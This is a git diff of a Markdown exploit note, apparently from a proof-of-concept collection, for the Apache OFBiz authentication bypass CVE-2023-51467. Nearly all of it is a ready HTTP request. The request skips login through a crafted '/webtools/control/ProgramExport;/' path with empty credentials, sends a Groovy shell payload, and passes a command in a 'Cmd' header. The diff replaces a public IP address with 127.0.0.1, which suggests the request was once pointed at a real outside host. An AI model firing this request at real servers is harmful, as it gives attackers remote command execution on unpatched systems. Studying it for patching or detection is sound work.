diff --git a/Apache OFBiz 身份验证绕过漏洞 (CVE-2023-51467).md b/Apache OFBiz 身份验证绕过漏洞 (CVE-2023-51467).md index 5eb87c9..bd8c02c 100644 --- a/Apache OFBiz 身份验证绕过漏洞 (CVE-2023-51467).md +++ b/Apache OFBiz 身份验证绕过漏洞 (CVE-2023-51467).md @@ -38,7 +38,7 @@ groovyProgram=import+groovy.lang.GroovyShell%0D%0A%0D%0AGroovyShell+shell+%3D+ne ## exp ``` POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 -Host: 1.214.41.74:28080 +Host: 127.0.0.1:28080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded Cmd: id